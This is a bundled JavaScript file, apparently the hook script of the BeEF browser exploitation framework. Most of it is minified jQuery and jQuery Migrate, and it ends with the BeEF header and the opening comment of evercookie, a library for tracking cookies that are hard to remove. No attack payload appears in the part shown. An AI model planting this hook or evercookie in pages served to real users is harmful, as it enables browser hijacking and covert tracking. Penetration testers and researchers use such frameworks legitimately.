b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),n.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype="encoding");var Bb=/[\t\r\n\f]/g;function Cb(a){return n.attr(a,"class")||""}n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,Cb(this)))});if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,Cb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):n.isFunction(a)?this.each(function(c){n(this).toggleClass(a.call(this,c,Cb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=n(this),f=a.match(G)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=Cb(this),b&&n._data(this,"__className__",b),n.attr(this,"class",b||a===!1?"":n._data(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+Cb(c)+" ").replace(Bb," ").indexOf(b)>-1)return!0;return!1}}),n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Db=a.location,Eb=n.now(),Fb=/\?/,Gb=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=n.trim(b+"");return e&&!n.trim(e.replace(Gb,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():n.error("Invalid JSON: "+b)},n.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new a.DOMParser,c=d.parseFromString(b,"text/xml")):(c=new a.ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||n.error("Invalid XML: "+b),c};var Hb=/#.*$/,Ib=/([?&])_=[^&]*/,Jb=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Kb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Lb=/^(?:GET|HEAD)$/,Mb=/^\/\//,Nb=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Ob={},Pb={},Qb="*/".concat("*"),Rb=Db.href,Sb=Nb.exec(Rb.toLowerCase())||[];function Tb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(G)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Ub(a,b,c,d){var e={},f=a===Pb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Vb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Wb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Xb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Rb,type:"GET",isLocal:Kb.test(Sb[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Qb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Vb(Vb(a,n.ajaxSettings),b):Vb(n.ajaxSettings,a)},ajaxPrefilter:Tb(Ob),ajaxTransport:Tb(Pb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var d,e,f,g,h,i,j,k,l=n.ajaxSetup({},c),m=l.context||l,o=l.context&&(m.nodeType||m.jquery)?n(m):n.event,p=n.Deferred(),q=n.Callbacks("once memory"),r=l.statusCode||{},s={},t={},u=0,v="canceled",w={readyState:0,getResponseHeader:function(a){var b;if(2===u){if(!k){k={};while(b=Jb.exec(g))k[b[1].toLowerCase()]=b[2]}b=k[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===u?g:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return u||(a=t[c]=t[c]||a,s[a]=b),this},overrideMimeType:function(a){return u||(l.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>u)for(b in a)r[b]=[r[b],a[b]];else w.always(a[w.status]);return this},abort:function(a){var b=a||v;return j&&j.abort(b),y(0,b),this}};if(p.promise(w).complete=q.add,w.success=w.done,w.error=w.fail,l.url=((b||l.url||Rb)+"").replace(Hb,"").replace(Mb,Sb[1]+"//"),l.type=c.method||c.type||l.method||l.type,l.dataTypes=n.trim(l.dataType||"*").toLowerCase().match(G)||[""],null==l.crossDomain&&(d=Nb.exec(l.url.toLowerCase()),l.crossDomain=!(!d||d[1]===Sb[1]&&d[2]===Sb[2]&&(d[3]||("http:"===d[1]?"80":"443"))===(Sb[3]||("http:"===Sb[1]?"80":"443")))),l.data&&l.processData&&"string"!=typeof l.data&&(l.data=n.param(l.data,l.traditional)),Ub(Ob,l,c,w),2===u)return w;i=n.event&&l.global,i&&0===n.active++&&n.event.trigger("ajaxStart"),l.type=l.type.toUpperCase(),l.hasContent=!Lb.test(l.type),f=l.url,l.hasContent||(l.data&&(f=l.url+=(Fb.test(f)?"&":"?")+l.data,delete l.data),l.cache===!1&&(l.url=Ib.test(f)?f.replace(Ib,"$1_="+Eb++):f+(Fb.test(f)?"&":"?")+"_="+Eb++)),l.ifModified&&(n.lastModified[f]&&w.setRequestHeader("If-Modified-Since",n.lastModified[f]),n.etag[f]&&w.setRequestHeader("If-None-Match",n.etag[f])),(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&w.setRequestHeader("Content-Type",l.contentType),w.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+("*"!==l.dataTypes[0]?", "+Qb+"; q=0.01":""):l.accepts["*"]);for(e in l.headers)w.setRequestHeader(e,l.headers[e]);if(l.beforeSend&&(l.beforeSend.call(m,w,l)===!1||2===u))return w.abort();v="abort";for(e in{success:1,error:1,complete:1})w[e](l[e]);if(j=Ub(Pb,l,c,w)){if(w.readyState=1,i&&o.trigger("ajaxSend",[w,l]),2===u)return w;l.async&&l.timeout>0&&(h=a.setTimeout(function(){w.abort("timeout")},l.timeout));try{u=1,j.send(s,y)}catch(x){if(!(2>u))throw x;y(-1,x)}}else y(-1,"No Transport");function y(b,c,d,e){var k,s,t,v,x,y=c;2!==u&&(u=2,h&&a.clearTimeout(h),j=void 0,g=e||"",w.readyState=b>0?4:0,k=b>=200&&300>b||304===b,d&&(v=Wb(l,w,d)),v=Xb(l,v,w,k),k?(l.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(n.lastModified[f]=x),x=w.getResponseHeader("etag"),x&&(n.etag[f]=x)),204===b||"HEAD"===l.type?y="nocontent":304===b?y="notmodified":(y=v.state,s=v.data,t=v.error,k=!t)):(t=y,!b&&y||(y="error",0>b&&(b=0))),w.status=b,w.statusText=(c||y)+"",k?p.resolveWith(m,[s,y,w]):p.rejectWith(m,[w,y,t]),w.statusCode(r),r=void 0,i&&o.trigger(k?"ajaxSuccess":"ajaxError",[w,l,k?s:t]),q.fireWith(m,[w,y]),i&&(o.trigger("ajaxComplete",[w,l]),--n.active||n.event.trigger("ajaxStop")))}return w},getJSON:function(a,b,c){return n.get(a,b,c,"json")},getScript:function(a,b){return n.get(a,void 0,b,"script")}}),n.each(["get","post"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax(n.extend({url:a,type:b,dataType:e,data:c,success:d},n.isPlainObject(a)&&a))}}),n._evalUrl=function(a){return n.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return n.isFunction(a)?this.each(function(b){n(this).wrapInner(a.call(this,b))}):this.each(function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,"body")||n(this).replaceWith(this.childNodes)}).end()}});function Yb(a){return a.style&&a.style.display||n.css(a,"display")}function Zb(a){if(!n.contains(a.ownerDocument||d,a))return!0;while(a&&1===a.nodeType){if("none"===Yb(a)||"hidden"===a.type)return!0;a=a.parentNode}return!1}n.expr.filters.hidden=function(a){return l.reliableHiddenOffsets()?a.offsetWidth<=0&&a.offsetHeight<=0&&!a.getClientRects().length:Zb(a)},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var $b=/%20/g,_b=/\[\]$/,ac=/\r?\n/g,bc=/^(?:submit|button|image|reset|file)$/i,cc=/^(?:input|select|textarea|keygen)/i;function dc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||_b.test(a)?d(a,e):dc(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==n.type(b))d(a,b);else for(e in b)dc(a+"["+e+"]",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)dc(c,a[c],b,e);return d.join("&").replace($b,"+")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,"elements");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(":disabled")&&cc.test(this.nodeName)&&!bc.test(a)&&(this.checked||!Z.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(ac,"\r\n")}}):{name:b.name,value:c.replace(ac,"\r\n")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return this.isLocal?ic():d.documentMode>8?hc():/^(get|post|head|put|delete|options)$/i.test(this.type)&&hc()||ic()}:hc;var ec=0,fc={},gc=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in fc)fc[a](void 0,!0)}),l.cors=!!gc&&"withCredentials"in gc,gc=l.ajax=!!gc,gc&&n.ajaxTransport(function(b){if(!b.crossDomain||l.cors){var c;return{send:function(d,e){var f,g=b.xhr(),h=++ec;if(g.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(f in b.xhrFields)g[f]=b.xhrFields[f];b.mimeType&&g.overrideMimeType&&g.overrideMimeType(b.mimeType),b.crossDomain||d["X-Requested-With"]||(d["X-Requested-With"]="XMLHttpRequest");for(f in d)void 0!==d[f]&&g.setRequestHeader(f,d[f]+"");g.send(b.hasContent&&b.data||null),c=function(a,d){var f,i,j;if(c&&(d||4===g.readyState))if(delete fc[h],c=void 0,g.onreadystatechange=n.noop,d)4!==g.readyState&&g.abort();else{j={},f=g.status,"string"==typeof g.responseText&&(j.text=g.responseText);try{i=g.statusText}catch(k){i=""}f||!b.isLocal||b.crossDomain?1223===f&&(f=204):f=j.text?200:404}j&&e(f,i,j,g.getAllResponseHeaders())},b.async?4===g.readyState?a.setTimeout(c):g.onreadystatechange=fc[h]=c:c()},abort:function(){c&&c(void 0,!0)}}}});function hc(){try{return new a.XMLHttpRequest}catch(b){}}function ic(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}n.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),n.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=d.head||n("head")[0]||d.documentElement;return{send:function(e,f){b=d.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||f(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var jc=[],kc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=jc.pop()||n.expando+"_"+Eb++;return this[a]=!0,a}}),n.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(kc.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&kc.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(kc,"$1"+e):b.jsonp!==!1&&(b.url+=(Fb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||n.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?n(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,jc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),n.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||d;var e=x.exec(a),f=!c&&[];return e?[b.createElement(e[1])]:(e=ja([a],b,f),f&&f.length&&n(f).remove(),n.merge([],e.childNodes))};var lc=n.fn.load;n.fn.load=function(a,b,c){if("string"!=typeof a&&lc)return lc.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=n.trim(a.slice(h,a.length)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&n.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?n("<div>").append(n.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},n.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};function mc(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?("undefined"!=typeof e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=mc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Qa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return Y(this,function(a,d,e){var f=mc(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ua(l.pixelPosition,function(a,c){return c?(c=Sa(a,b),Oa.test(c)?n(a).position()[b]+"px":c):void 0})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({
5padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return Y(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});
6
7
8/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
9jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S+|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);
10
11
12//
13// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
14// Browser Exploitation Framework (BeEF) - http://beefproject.com
15// See the file 'doc/COPYING' for copying permission
16//
17
18/*
19 * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
20 *
21 * by samy kamkar : code@samy.pl : http://samy.pl
22 *
23 * this api attempts to produce several types of persistent data
24 * to essentially make a cookie virtually irrevocable from a system
25 *
26 * specifically it uses:
27 * - standard http cookies
28 * - flash cookies (local shared objects)
29 * - silverlight isolated storage
